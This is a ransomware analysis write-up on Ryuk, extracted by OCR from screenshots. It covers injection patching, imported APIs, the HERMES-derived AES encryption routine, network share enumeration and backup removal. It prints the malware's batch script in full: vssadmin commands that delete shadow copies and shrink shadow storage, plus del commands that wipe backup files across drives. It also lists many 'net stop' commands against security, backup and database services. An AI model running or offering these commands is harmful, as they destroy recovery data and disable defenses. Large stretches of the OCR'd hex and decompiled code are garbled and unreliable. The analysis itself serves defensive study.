60POEER1460026D0 24 48 48 33 CC E8 36 53 @@ @8 48 83 C4 50 58 (3
BEOGEB148B028E0 FF 15 JA 4F @1 08 3D 14 @5 8@ 82 75 21 48 8D D
loc_148091FAS: 60POEER1460026F0 @4 CE @1 0@ EB F7 FO FF FF 33 (@ 48 88 4C 24 48
inc esi GEEOGEE146602160 48 33 CC E8 68 53 BB BB 48 83 C4 50 58 (3 BS 61
add rbx, 218h 0000E0P146002110 B8 @0 0@ 48 85 4C 24 48 48 33 CC E8 FO 52 00 80
cmp. esi, 64h ; 'd’ I2006000146002126 48 83 (4 50 SB (3 H...[
j1 loc_1488081E98 6EPEEEE140682138 48 89 7C 24 20 55 41 54 41 55 41 56 41 57 48 8D H.|%
800080148002140 AC 24 5@ FE FF FF 48 81 EC BO 02 00 @8 48 55 85 .5P...H.
0000E0R146002150 AC 1E @2 ©0 48 33 (4 48 89 85 A@ 1 @0 00 45 33 ....H3..
AARARAATAARATAA  FN AR RO AF 24 SR 33 N7 4 RA A 24 5@ 4R RR Fa 1 8¥%3
100.00% (470,5334) (530,520) 000013€B 0000000140001F€B: WinMain+2EB (Synchronized with Hex View-1)||000013€B 0000000140001F€B: WinMain+2EB (Synchronized with IDA View-3)

In above example, we can see E8 20 06 00 00 are the bytes responsible for calling Process
Injection sub-routine. | can change these bytesto 90 90 90 90 90 90 which are NOP instructions.
Whenever, the Ryuk ransomware enumerated process and tries to inject itself, it would now simply
skip the process injection step and move on to further activities, like encryption.

| Enums
[ ma view-a O & x ||[& Hexview1 o e

IDA View-A, Hex View-1 Structures

peppeeR14ee@1F20 @2 48 83 F9 @D 74 77 @F B7 @4 4F 66 41 3B @4 4A
[p000OEE140081F36 74 DE 49 8B C5 OF B7 @C 47 66 41 3B ©C 44 75 19
peppeER14@@01F4D BF B7 4C 47 @2 66 41 3B 4C 44 @2 75 @C 48 83 (@
[p00OOEE140081F58 @2 43 83 FB GA 75 DE EB 45 FF 74 05 48 85
peEBEER1400R1FER ED 74 48 48 83 FD @1 74
[rbx] ; dwProcessId |pecepealiaa01F76 41 BE @A 0@ @@ 8@ 48 8D
[pOOOOEE140081FE8 ES 77 BA 00 00 B9 2C @1
lpeepEER14@8@1FI0 AC 8D @D C9 CE @1 @@ 4C
lpo00OEE140081FA8 2B 74 12 FF C6 48 81 (3
lpeeeEEB1400@1FEG SC DB FE FF FF 41 FF (6 48
lpoooOee140001FC@ B8E BB FE FF FF B9 88 13
rad, @Ah ; Radix [po0BERE140001FD8 41 8B CF E8 38 84 00 00
lea rdx, [rsp+@C18A8h+Buffer] ; Buffer peeseEa140001 ©@ @@ E8 89 BA B8 @0 33 (@ 48 8B 8C
mov. BCcx, eax ; value [pe0000E140001FFO @@ 48 33 CC E3 17 54 @@ @@ 4C 3D 9C
E peeoeER112002000 @8 49 8B 5B 3B 49 38 6B 38 49 8B
mov ecx, 12Ch ; dwMilliseconds lpooooeel40002010 41 S5F 41 5E 41 5D 41 5C 5F €3 CC
call cs:Sleep [peeBEEA140002620 48 53 48 83 EC 50 48 88 @5 D3 1F
lea rg, aCsrssExe  ; “csrss.exe” PEEREAA140002039 48 89 44 24 48 48 8B D9 4C 8D 44
lea rie, atExplorerExe ; “explorer.exe” |pooooea140002040 8D 15 F2 CD @1 @@ FF 15 BC 4F @1
peppeER14@002050 FF 15 @A 50 @1 @8 8B D@ 48 8D @D
[po00OEE140002060 B8C FL FF FF 33 C@ 48 88 4C 24 48 48

[peeEEER142002670 53 @8 @8 48 53 C4 5@ 5B (3 48 8B 44 24 38 4C 8D S..H...[...
pe0ReEa140002080 44 24 38 4B 89 44 24 3C 33 D2 33 (@ (7 44 24 38 D$8H.D$<3..
ﬁ@ |peoREER140002000 ©1 @2 00 00 43 89 44 24 28 43 8B (B (7 44 24 44 ....H.D$(H.
e pePPEER1400020A0 ©2 @8 @0 @@ 48 89 44 24 20 44 8D 48 10 FF 15 5D
[p00OOEE140002050 4F @1 @0 85 CO 75 29 FF 15 A3 4F 01 00 8B D@ 48

loc_140001F9H

short

e $p..
oC LH3...T..L..5...
.I.[BI.k8I.S@L..

loc_14@001F9E:

lpeBORER1460026CE SD @D A CE B1 B8 E8 25 F1 FF FF 33 (8 40 i

cmp [rbx], ri3d lbeeoeeolioepleDe 24 43 48 33 CC E3 36 53 0@ @0 48 83 C4 €3 3HH3..65..H.

jz short loc_140001F85 lp6e6668110002 FF 15 7A 4F 81 68 3D 14 065 88 @0 75 21 @0 ..z0..=....ulH..
lpepoBeER1400020F0 @4 CE @1 80 E8 F7 F@ FF FF 33 (0 48 8B 48

peo0oER140002160 48 33 CC EB 03 53 @0 00 43 83 C4 50 5B @1 H3...5..H
lpepoBER146002116 B0 B0 B0 48 8B 4C 24 48 48 33 (C EB FO 88 ...H.L$HH3.
lpeo0oeR140002120 48 B3 C4 50 SB CCC Hewifennn .
loc_146061FA3: pOPOOBE1400E2138 48 89 7C 24 28 55 41 54 41 55 41 56 41 8D H.|$-UATAUAVAWH.
inc esi peROBER140002148 AC 24 50 FE FF FF 48 B1 EC B2 @2 00 00 85 L5P...H.....lH..
add rbx, 216h b0c0e00140062150 AC LE 02 B0 43 33 C4 48 39 35 AP G1 00 00 45 33 ....H3...
emp esi, 64h ; 'd’ pAnAAAR1 20063158 FN AR RG AF 94 SR I3 N9 AC RA AC 4 SG 4R RA FQ e

100.00% (4€7,5277) (€77,339) 0D000136E 0000000140001FEE: WinMain+2EE (Synchronized with Hex View-1)||0000136B 0000000140001F€B: WinMain+2EE (Synchronized with IDA View-3)




Encryption:

The encryption routine starts with importing all the required APIs at run-time because encryptor
is highly obfuscated. They are not used or imported directly in the malware. Instead of static
analysis, the dynamic analysis reveals all the APIs used by malware easily. As shown in the

screenshot below:

(X

P

.text:80607FF7EFE02984
.text:00007FF7EF302984 loc_J7FF7EF882934:

il e
ADVAPI32.d11:88007FFFC3C77670
ADVAPI32.d11:@8007FFFC3C77070
ADVAPI32.d11:@8007FFFC3C77070 ; Attributes: thunk
ADVAPI32.d11:08007FFFC3C77670
AD\«'AFIBZ‘dll:BBBB?FFFCB[??B?aEdvaEiBZ [rzgtAcguire[DntextN *JI"OC near
ADVAPT32.d11:80007FFFC3C77070 Jmp cs:ofT_7FFFC3DBABFB

ADVAPI3Z2.d11:@@e07FFFC3C77@7@ advapi32 CryptAcquireContextW endp

]

RN
SR

.text:@BeB87FF7EFE829B4 call cs:
.text:808@7FF7EFBB29BA test eax .data:0ee8

. BBBOYFF7EFBB2984 lea rB, a3 @ !
[.te')d: B@RETFF7EFB0298E call cs:qword 7FF7EFB2BD
|~ Text:B000 /T F/EF SB290L mov rod, 1on
. text:@0807FF7EF382997 mov [rsp+38h+var_18], 28h ; ' '
.text:@Pee7FF7EF80299F lea rg,—=22 4 -
.text:@0807FF7EFBB29A6 lea rdx .data:ee
.text:@Pe07FFFEF8829AD lea rex dword_7FF7EF8J]

78 align 28h
7:-825[!89' d

ADVAPI32.d11:0@007FFFC3C77070

FFFFC3C77676h |

a

. text:@BEOTFFIEFEO298C jnz chol .data:@ee87FF
.data:@eea7FF7EFE2BDEE
v .data:pE00 52BD83
"= .data 25D85
.data:ee 2BD9@
. text:@0EOTFFIEFEO298E lea rad 28090
.text:@RBOTFF7EFE029C2 mov [rs 28098
_text:@BEOTFFFEFE029CA lea rB,  date:-08 826098
| | |.text:eeee7rr7eFsR2901 lea rdX  date-o0 i

20

00007FF7EF80298B: sub 7FF7EF8028DO4BB (€ .data: 2BDAB

82BDAB

ta: 2BDAB
data: 88 2BDBA
data: 88 2BDB®

2BDB8
82BDBB
2BDBB
F7EF82BDCA
EF82BDC1

DI IDOID OO ODD OO G
fi I R

e
data: 68
=

L
b
a
2
H
3
1

UNENOWN 00007FF7EF22BDB0:

5 gqword 7FF7EF82BD98 dq 7FFFC3C3FA78h

qword_7FF7EFB2BD88 dq 7FFFC46@5F@8h

gword_7FF7EF82BD9@ dq 7FFFC33F9848h

gword_7FF7EF82BDA® dq 7FFFC4688816h
gword_7FF7EFB2BDAB dq 7FFFC4615288h

gword_7FF7EF82BDB@ dq 7FFFC461526B8h

a

3 HMODULE gqword_7 82BDB3
qword_7FF7EFB2BDBE dq 7FFFC1A188@8h

unk_7FF7EF828DC@ db 43h ; C
db a
word_7FF7EF82BDC2 dw 3Ah

-data:qword_T7FF7EF32BD80 (Synchronized with RIP)

Finding these APIs by debugging one

by one is very tedious. So, | just executed the patched

malware (without injection code) in the tiny_tracer tool by hasherzade. It automatically detects
and logs all the APIs being used in the malware as shown in the screenshot below:



E stage2_injector_defanged.exetag EJ
1416 6354;kernel3i.GetProchddress

1417 GetProchddress:

1418 Brg[0] = ptr 0x00007ff£fc45f0000 ->| {MZ\x90 \x00 \x03\x00N\x00\x00}
1419 Arg[l] = prtr Ox00007ff£7ef31f0b8 ->| "GetLastError™

1420

1421 e636f;kernel32.GetProchddress

1422 GetProchddress:

1423 Arg[0] = ptr O0x0000TE£££fc45£0000 —>) {MZ\x90\x00\x03\x00\x00\x00}
1424 Arg[l] = ptr O0x0000T7T££7ef828102 > "VirtualFree™

1425

1426 638a;kernel32.GetProchddress

1427 GetProchddress:

1428 Lrg[0] = ptr 0x00007fffc3ce0000 - {MZ\x90 \x00 \x03\x00N\x00Y\x00}
1429 Arg[l] = prtr O0x00007ff7ef328a%4 ->»| "CryptExportEey™

1430

1431 63aS;kernel32.GetProchddress

1432 GetProchddress:

1433 Arg[0] = ptr O0x0000TE£££fc45£0000 —>) {MZ\x90\x00\x03\x00\x00\x00}
1434 Arg[l] = ptr Ox0000TE££f7ef3285b2 -»| "DeleteFileW"

1435

1436 63b9;:;kernel32 . GetProchddress

1437 GetProchddress:

1438 Lrg[0] = ptr O0x00007£f£fc45£f0000 ->| {MZ\x90\x00\x03\x00N\x00\x00}
1439 Arg[l] = prtr O0x00007ff£7ef3288a0 ->| "GetDriveTypeW"™

1440

1441 63d4;kernel32.GetProchddress

1442 GetProchddress:

1443 Brg[0] = ptr O0x00007£f££fc45£0000 ->) {MZ\x90 \x00 \x03\x00\x00\x00}
1444 Arg[l] = ptr Ox0000TE££f7ef328454 ->| "GetCommandLineW™

1445

1446 63ef;kernel32 . GetProchddress

1447 GecProchddress:

1448 Lrg[0] = ptr O0x00007£f£fc45£f0000 ->| {MZ\x90\x00\x03\x00N\x00\x00}
1449 Arg[l] = ptr O0x00007ff£7ef82883c -»| "GetStartupInfowW™

1450

1451 63fc;kernel32.GetProchddress

1452 GetProchddress:

1453 Brg[0] = ptr Ox0000TE££ffc4S£f0000 —»| {MZWx90\x00%x03\x00\x00\x00}
1454 Arg[l] = ptr Ox0000TE££f7ef8281l66 ->»| "FindWNextFileW"

1455

Most of the interesting APIs thatare being used by malware and imported at run-time are provided
in the table below:

1 CryptExportKey

2 DeleteFileW

3 GetDriveTypeW

4 GetCommandLineW
5 GetStartupInfow




10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

FindNextFilew
VirtualAlloc
GetUserNameA
ExitProcess
CreateProcessA
GetlpNetTable
ReadFile
RegQueryValueExA
RegSetValueExW
CopyFileA
SetFileAttributeswW
WinExec
CryptDeriveKey
CryptGenKey
Sleep
GetCurrentProcess
ShellExecuteW

GetFileSize

GetModuleFileNameA

CreateFileA
GetFileSizeEx
WriteFile

GetLogicalDrives

WNetEnumResourceW

RegOpenKeyExW

WNetCloseEnum

GetWindowsDirectoryW



33 GetTickCount

34 FindFirstFilewW

35 CryptAcquireContextW
36 MoveFileExW

37 CryptDecrypt

38 CryptimportKey
39 CreateProcessW
40 CreateThread

41 CryptDestroyKey
42 CoCreatelnstance
43 CryptEncrypt

44 RegDeleteVValueWw
45  |--------

The encryptor uses AES-256 for encrypting all files as could be seen by the parameter provided
to the CryptAcquireContextW API with the following arguments: AES_unique & Microsoft
Enhanced RSA and AES Cryptographic Provider.

[=] stage2_injector_defanged.exetag £ |

& 298k;advapi32.CryptAcqguireContextW
CryprticguireContextW:

77 Brg[0] = ptr OROQQOTEL£Tef82cels -> {\ROO\XOO\XOO“\xOO\xOO\®ROO\®ROO\x00}
777 Arg[l] = ptr Ox00007f£f7ef8249590 -> L"AES unigue "
TT Arg[2] = ptr O0x00007££7ef824310 -> L"Microsoft Enhanced RS5A and AES Cryptographic Prowvidexr™
77 Arg[3] = 0x0000000000000018 = 24
Brg[4] = 0x00008£4700000010 = 157535105450000

B2 28b4;advapiiZ.CryptAcguireContextW

783 CryptAcguireContextW:

T84 Arg[0] = ptr Ox0DO000TE£7ef82celd -> [(\=00'\=xOO0\xO00'\x00'\x0O0'\x00\=00%\=x00}

TES Arg[l] = ptr OrO0000TLf7ef824590 -3 L"ARES unigue "

T8E Arg[2] = ptr Ox00007E££f7ef824310 -3 L"Microsoft Enhanced RS5A and AES Cryptographic Prowvider™
787 Arg[3]) = 0x0000000000000018 = 24

TE8 Brg[4] = O0x00005£4700000020 = 157535105450016

RYUK Encryptor does the following steps:
% Acquire Context of AES
«» Use the combination of FindFirstFileW and FindNextFileW to enumerate files

+« Writes Ransom Notes in every directory that it enumerates



++ Starts a new thread on each file for encryption

% Generates a new random key for every file and encrypts it with that key, then it adds
HERMES and the meta at the end of the file. The meta is actually the encrypted AES key
with the attacker’s public key embedded in the malware.

gword_7FFEO657CE28(v23, @isd4, Ox5080i64);// VirtualFree
return 12i64;

if ( !(unsigned int)qword_7FF69657CE4@(v3, w23, vS4, &vS6, @i64) )// ReadFile

1
qword_7FFGIEBDES@E (V53
quord_7FFGEIG57CE2B(vE)
qword 7FFGEIRSTCE28(v23
return 13i64;

H

)1

Pi6d, Bx8EEEi64);

V55 = 1866008 ;

if ( !(unsigned int)qword 7FFG9657BE3@(v53, @i64, v26, Bi64, @i6d, &v55, @) )// CryptEncrypt |

1
quord_JFFGEO68DE5@E( V53
qword_7FFBAG57CE20(vE)
quord_7FFGOG57CE28(v23
return 14i64;

)i

@i64, exsoeeisd);

if ( !{unsigned int)qword 7FFE69657BE3@(v53, @ie4, v26, @ied4, v23, &v54, v55) }// CryptEncrypt

1
quord_7FFGEAG8D85@8 (V53
qword_7FFGEI657CE2B(vE)
quord _7FFGOG5TCE28({v23
return 15i64;

b

if { (unsigned int)qweord_7FFG69657BDAS(v3, w25, @i64, @i6d4) == -1 )

/{ CloseHandle

'H // CryptDestroyKey
3
, Bif4, Bx3888164);// VirtualFree

qword_7FFEI657CE2B(vE); // CloseHandle
quword_7FFGEOGBDESEE (vE3); [/ CryptDestroyKey
qword 7FF69657CE28(v23, @i64, @x3eeeisd);// VirtualFree
return 16i64;

}

WL - 1

I if { !'{unsigned int)qword_7FF6968DYFB8(v3, w23, v54, &vSe6, Bied) )// WriteFile I

qword 7FFGEIRS7CE28(v23
quord_7FFGO657CE20(vE)
qword_7FFG968D858E (V53
return 17i64:

00003329 sub TFFESE553R30:210 (7FFE3E553F29)

, Bie4, BxBeB6isd);// VirtualFree
; /f CloseHandle
)i // CryptDestroyKey




Time ... Process Name

12:29.... W-stage2_injector...
12:29.... W-stage2_injector...
1229... stage2_injector...
1229... stage2_injector...
1229... stage2_injector...
1229... stage2_injector...
1229.. stage2_injector...
1229.. stage2_injector...
1229.. stage2_injector...
1229.. stage2_injector...
1229.. stage2_injector...

12:29:..
12:29:..

1229.. stage2_injector...
12:29.... W-stage?_injector...
12:29.... W-stage?_injector...
12:29.... W-stage?_injector...
12:29.... W-stage?_injector...

e stage2_injector...

stane? inisctor

stage2_injector...
stage2_injector...

PID  Operation

 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
 CreateFile
Z088 = Creaiefie

7083

Path

"Pin‘doc \html‘classKNOB-members html

"Pin‘doc \html'classKNOB-members html

\Pin‘\doc \html\classKNOB html

"Pin‘doc \html‘class KNOBVALUE-members hitml
"Pin‘doc \html‘class KNOBVALUE-members hitml
\Pin‘doc \html‘classKNOBVALUE html
\Pin‘dochitml'classKNOBVALUE himl
\Pin\doc\html\classkKNOBVALUE__LIST-members html
\Pin\doc\html\classkKNOBVALUE__LIST-members html
\Pin\doc\html\classMESSAGE__TYPE html
\Pin\doc\html\classMESSAGE__TYPE html
\Pin\doc\html\classkNOB__BASE-members html
\Pin‘dochtml\classes html

\Pin‘dochtml\classes html
\Pin\doc\html\classADDRESS_RANGE html
\Pin\doc\html\classADDRESS_RANGE html
\Pin\doc\html'\classADDRESS__RANGE-members html
\Pin\doc\html'\classADDRESS__RANGE-members html
\Pin\doc\htm|\bdwn png

1229

stage2_injector...
stage2_injector...
stage2_injector...
stage2_injector...
stage2_injector...
stage2_injector...
stage2_injector...
stage2_injector...
stage2_injector...
B- stage2_injector...

7088 i CreateFie
7088w CreateFile
s LreateHle
r CreateFile
r CreateFile
r CreateFile
r CreateFile
r CreateFile
r CreateFile
r CreateFile
r CreateFile
r CreateFile
r CreateFile
r CreateFile
r CreateFile

Showing 35,478 of 1,217,690 events (2.9%)

000000000000

Backed by virtual memory

Pin\doc\btmi\hdwn ong,

loc htmi\annotated iml

\Pin\docShtmlhelassMESSAGE __TYPE__ALWAYS__OM html
\Pin\docShtmlhelassMESSAGE __TYPE__ALWAYS__OM html
\Pin\doc\html\classREGISTER__SET-members html
\Pin\doc\html\classREGISTER__SET-members html
\Pin\doc\html\classREGISTER__SET html
\Pin\doc\html\classREGISTER__SET html

\Pin\doc\html'class SymbolAddress Range-members html
\Pin\doc\html'class SymbolAddress Range-members html
\Pin\doc\html'class SymbolAddress Range html

\Pin\doc\html'class SymbolAddress Range html
\Pin\doc\html\closed png

\Pin\doc\html\closed png

Result

SUCCESS
SUCCESS
LICCE!

Detail
Desired Access: W..
Desired Access: G...
Desired Access: W..

2 HxD - [CAPin\docihtml\be_s.png] |

() File Edit
3~

H bes.png

Offs=t (n)

00000230
00000240
00000250
00000260
00000270
00000280
00000280
000002A0
000002B0
oooooz2Co
000002D0
000002E0Q
000002F0
00000300
00000310
00000320
00000330
00000340
00000350
00000360
00000370
00000380
00000380
00000320
000003B0
000003C0

Search View Analysis Tools Window Help

E BN RE=NT

00 01 02 03 04 05 06 07 08
4h 65 6E CE AE
F3
E7
cs
OF 26
& 69 65

|| Windows (ansi)

09 0A 0B 0C OD OE

|| hex v

OF Decoded text

.<am.aJhnie™ &. 5
P®.1i(dé
PTG
O-zAEGEq(! " ]p1It
.8, ' .. &naiEt2is
_6nz0gie"G..g*.U
.£8uc}.DEG ~xgh

8 DF 06

Block(h): 2B0-3C1

Length(h): 112

% The encryption routine starts by first checking if the input file had the keyword HERMES
appended at the end along with the meta. If the keyword is present then it avoids encrypting
the file twice and skips the encryption part as shown in the screenshot below:

if ( (unsigned int)qword_7FF69657DBFB(vE,

return 3i64;

Src[e] = 8;

if ( vis )

return 4iG4;

= quord 7FFEI6S7CE4B(vE, &

v58, Bic4, Bied)

o, 25i64, Src, @i64);// ReadFile

-1 )// SetFilePointerEx

[ 5 (vio 8& *(v21 - 1) = 'H’ & *v21 = 'E' &

21[1] == 'R’ &%

v21[2] == 'M" 8& v21[3] ==

'E' &R v21[4] == 'S" ) |

qword_7FFE9657CE2@(vE);
return 5i64;

'@ < Bxle );
gned int)qword_7FFE9657BDAB(vE, @i64, @is4, Bisd) != -1

goto LABEL_35;

return 61i64;

}

// CloseHandle

}// SetFilePointer

RYUK ransomware uses the same encryptor as HERMES ransomware, as could be seen in the
provided code snippets. The delivery, persistence and continuous injection is different but
encryptor function is of HERMES ransomware.



Network Enumeration:
Ryuk ransomware tries to look for any network shares that are available and pass the path of
those shares to its encryptor function. It uses WNetOpenEnumW API for network share

enumeration as could be seen in the logs by tiny tracer.

=]

stage?_crypter_defanged.exetag E3 ‘

2dcE; kernel3z.
ZedZyiphlpapi.

2eb8kernel32

Zegef;iphlpapi.

2edd; kernel32

Zealrkernel3z.,

GetDriveTvypeW
GetIpNetTakle
WirtuallAlloc
GetIpNetTakle
WirtualAlloc
Globalflloc

28%e7;mpr
S58e7;mpr
S58e7;mpr
597 mpxr
SSeTrmpr
SSeTrmpr

WHetOpenEnumiy
. WHetOpenEnumW
. WHetOpenEnumW
. WHetOpenEnumid
WHetCpenEnumi¥
WHetCpenEnumi¥
S8%eT:npr . WHecOpenEnumW
S8eTnpr . WHetOpenEnumiW
sibdrkernelsd.Virtualkree
3T7cSrkernel3z2.VirtualFree
37da;advapiiz.CryptDestroyKey
3867;advapi3z.CrypticguireContextW
EbBd;kernel32.GetWindowsDirectoxryW
ecefkernel32.CreateFileW
CreateFileW:
Arg[0] =

ptr 0x0000006fba83c770 -»> L"C:‘\users\Public\window.bat"
Arg[l] QOx00000000c0000000 = 3221225472

Arg[2] QOx0000000Q000000003 = 3

Arg[3] = 0O

Arg[4] 0x0000018000000002 = 1645267441666

Lrg[5] 0x0000000000000080 = 128

g4l kernel32 . WriceFile

6249 ;kernel3z2.CloseHandle
6eSb;kernel32.GetWindowsDirectoryW
efdd;shell32.5hellExecuteW
879;kernel32.Freelibrary
3886;:kernellz.Freelibrary
3853;kernel32.Frecelibrary
38a0:kernel32 . Freclibrary

Delete Backups:

Ryuk ransomware removes shadow copies and recovery options from the system by creating a
bat file and running it as admin. If the malware is executed without admin privileges, then it will
prompt user for admin privileges.



= % stageZ_crypter_defanged exe (2876)
[= gz omd.exe (7363)
g Conhost.exe (2820)

& reg.exe (3144)

Windows Comma...

Console Window ...
Reqistry Console ...
Windows Comma...

ClUsers'shaddy'... -
CAWindows \Syst .. |
C\Windows'\Syst... |
CaWindows ayst...
CAWindows"\Syst ..

Microsoft Corparat ...
Microzoft Corporat ...
Microzoft Corporat ..
Microsoft Corporat ..

[ Conhost exe (3460)

Description:
Company:
Path:

# vssadmin.exe (3200)

Windows Command Processor

Microsoft Corporation
CawWindows\System3dcmd.exe

Console Window ...
Command Line Int_..

& wvssadmin exe (3020) Command Line Int...
& wvssadmin.exe (4616) Command Line Int...
& wvssadmin.exe (1028) Command Line Int...
& wvssadmin.exe (3324) Command Line Int...
& wvssadmin.exe (348) Command Line Int...
& wvssadmin.exe (1404) Command Line Int...
& wvssadmin.exe (6768) Command Line Int...
& vasadmin.exe (552) Command Line Int...
& vssadmin.exe (5656) <

[

AWindows \Syst...
“Windows'\syst

SWindows'\syst
SWindows syst. ..
SWindows syst. ..
SWindows syst. .
SWindows syst. .
SWindows \syst. .
SWindows syst. .
SWWindows'eyst...

L T T i O O O e B

Command: | "ChWindows\System32\cmd.exe” /C "Chusers\Publichwindow.bat” |

Uzen

PID:

DESKTOP-002IHOMN shaddy

1376 Started:  11/21/2023 3:40:47 AM

Microsoft Corporat ..
Microsoft Corporat ..
Microsoft Corpaorat ..
Microsoft Corparat ...
Microsoft Corparat ...
Microsoft Corparat ...
Microsoft Corparat ...
Microsoft Corparat ...
Microsoft Corparat ...
Microzoft Corporat ..

The script deletes all shadow copies from the system and finally deletes itself as well. The

extracted script for deleting shadow copies is provided below:

vssadmin
vssadmin
vssadmin
vssadmin
vssadmin
vssadmin
vssadmin
vssadmin
vssadmin
vssadmin
vssadmin
vssadmin
vssadmin
vssadmin

Delete Shadows /all /quiet

resize shadowstorage /for=c: /on=c: /maxsize=401MB
resize shadowstorage /for=c: /on=c: /maxsize=unbounded
resize shadowstorage /for=d: /on=d: /maxsize=401MB
resize shadowstorage /for=d: /on=d: /maxsize=unbounded
resize shadowstorage /for=e: /on=e: /maxsize=401MB
resize shadowstorage /for=e: /on=e: /maxsize=unbounded
resize shadowstorage /for=f: /on=f: /maxsize=401MB
resize shadowstorage /for=f: /on=f: /maxsize=unbounded
resize shadowstorage /for=g: /on=g: /maxsize=401MB
resize shadowstorage /for=g: /on=g: /maxsize=unbounded
resize shadowstorage /for=h: /on=h: /maxsize=401MB
resize shadowstorage /for=h: /on=h: /maxsize=unbounded

Delete Shadows /all /quiet

del /s /f /g c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set
c:\*.win c:\*.dsk
del /s /f /g d:\*.VVHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set
d:\*.win d:\*.dsk



del /s /f /g e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set
e:\*.win e:\*.dsk

del /s /f [q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set
f:\*.win f:\*.dsk

del /s /f /g g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set
g:\*.win g:\*.dsk

del /s /f /g h:\*.VVHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set
h:\*.win h:\*.dsk

del %0

Service Stop:

Another interesting thing that I found in RYUK ransomware is that it had many embedded strings that
highlights that it stops certain services and kills many processes. The exact behavior has not been detected
in the sample that I analyzed but this is also one of the TTP to look out for. The list of services and
processes that it kills are provided below:

1 stop "Acronis VSS Provider" ly net stop
stop "Enterprise Client Service" /y
stop "Sophos Agent" ly
stop "Sophos AutoUpdate Service" ly
stop "Sophos Clean Service" /y
stop "Sophos Device Control Service" ly
stop "Sophos File Scanner Service" ly
stop "Sophos Health Service" ly
stop "Sophos MCS Agent" /y
stop "Sophos MCS Client" /y
stop "Sophos Message Router" /y
stop "Sophos Safestore Service" ly
stop "Sophos System Protection Service" ly
stop "Sophos Web Control Service" ly
stop "SQLsafe Backup Service" ly
stop "SQLsafe Filter Service" ly
stop "Symantec System Recovery" ly
stop "Veeam Backup Catalog Data Service" ly
stop AcronisAgent /y
stop AcrSch2Svc ly
stop Antivirus ly
stop ARSM ly
stop BackupExecAgentAccelerator /y
stop BackupExecAgentBrowser /y
stop BackupExecDeviceMediaService ly
stop BackupExecJobEngine /y



stop BackupExecManagementService /y
stop BackupExecRPCService ly
stop BackupExecVSSProvider /y
stop bedbg ly

stop DCAgent /y

stop EPSecurityService ly

stop EPUpdateService /y

stop EraserSvc11710 ly

stop EsgShKernel /y

stop FA_Scheduler /ly

stop ISAdmin /y

stop IMAP4Svc ly

stop macmnsvc /y

stop masvc ly

stop MBAMService ly

stop MBEndpointAgent /y

stop McAfeeEngineService /y
stop McAfeeFramework /y

stop McAfeeFrameworkMcAfeeFramework /y
stop McShield /y

stop McTaskManager /ly

stop mfemms /y

stop mfevtp ly

stop MMS ly

stop mozyprobackup ly

stop MsDtsServer /y

stop MsDtsServer100 /y

stop MsDtsServer110 /y

stop MSExchangeES /ly

stop MSExchangelS ly

stop MSExchangeMGMT Jy

stop MSExchangeMTA ly

stop MSExchangeSA /y

stop MSExchangeSRS /y

stop MSOLAP$SQL_2008 ly
stop MSOLAP$SYSTEM_BGC ly
stop MSOLAPSTPS /y

stop MSOLAPS$TPSAMA ly

stop MSSQL$BKUPEXEC ly
stop MSSQL$ECWDB2 ly

stop MSSQL$PRACTICEMGT ly
stop MSSQL$PRACTTICEBGC ly
stop MSSQL$PROFXENGAGEMENT /y



stop MSSQL$SBSMONITORING /y
stop MSSQL$SHAREPOINT /y

stop MSSQL$SQL_2008 /y

stop MSSQL$SYSTEM_BGC ly

stop MSSQLS$TPS 1y

stop MSSQL$TPSAMA ly

stop MSSQL$VEEAMSQL2008R2 /y
stop MSSQL$VEEAMSQL2012 ly

stop MSSQLFDLauncher /y

stop
MSSQLFDLauncher$PROFXENGAGEMENT /y
stop MSSQLFDLauncher$SBSMONITORING /y
stop MSSQLFDLauncher$SHAREPOINT /y
stop MSSQLFDLauncher$SQL_2008 /y
stop MSSQLFDLauncher$SYSTEM_BGC ly
stop MSSQLFDLauncher$TPS /ly

stop MSSQLFDLauncher$TPSAMA /y
stop MSSQLSERVER Jy

stop MSSQLServerADHelper100 /y
stop MSSQLServerOLAPService ly
stop MySQLS80 ly

stop MySQL57 /y

stop ntrtscan /y

stop OracleClientCache80 /y

stop PDVFSService ly

stop POP3Svc ly

stop ReportServer /ly

stop ReportServer$SQL_2008 /y

stop ReportServer$SYSTEM_BGC /y
stop ReportServer$TPS ly

stop ReportServer$TPSAMA /y

stop RESvc ly

stop sacsvr ly

stop SamSs /y

stop SAVAdminService ly

stop SAVService ly

stop SDRSVC ly

stop SepMasterService /y

stop ShMonitor /y

stop Smcinst /y

stop SmcService ly

stop SMTPSvc ly

stop SNAC ly



stop SntpService ly

stop sophossps /ly

stop SQLAgent$BKUPEXEC /y

stop SQLAgent$ECWDB2 /y

stop SQLAgent$PRACTTICEBGC ly
stop SQLAgent$PRACTTICEMGT ly
stop SQLAgent$PROFXENGAGEMENT /y
stop SQLAgent$SBSMONITORING ly
stop SQLAgent$SHAREPOINT /y
stop SQLAgent$SQL_2008 /y

stop SQLAgent$SYSTEM_BGC ly
stop SQLAgent$TPS /y

stop SQLAgent$TPSAMA ly

stop SQLAgent$VEEAMSQL2008R2 /y
stop SQLAgent$VEEAMSQL2012 /ly
stop SQLBrowser /y

stop SQLSafeOLRService /y

stop SQLSERVERAGENT /y

stop SQLTELEMETRY Jy

stop SQLTELEMETRYS$ECWDB?2 ly
stop SQLWriter /y

stop SstpSvc ly

stop svcGenericHost /y

stop swi_filter ly

stop swi_service ly

stop swi_update_64 ly

stop TmCCSF ly

stop tmlisten /y

stop TrueKey /y

stop TrueKeyScheduler ly

stop TrueKeyServiceHelper ly

stop UlODetect ly

stop VeeamBackupSvc ly

stop VeeamBrokerSvc ly

stop VeeamCatalogSvc /y

stop VeeamCloudSvc /y

stop VeeamDeploymentService ly
stop VeeamDeploySvc ly

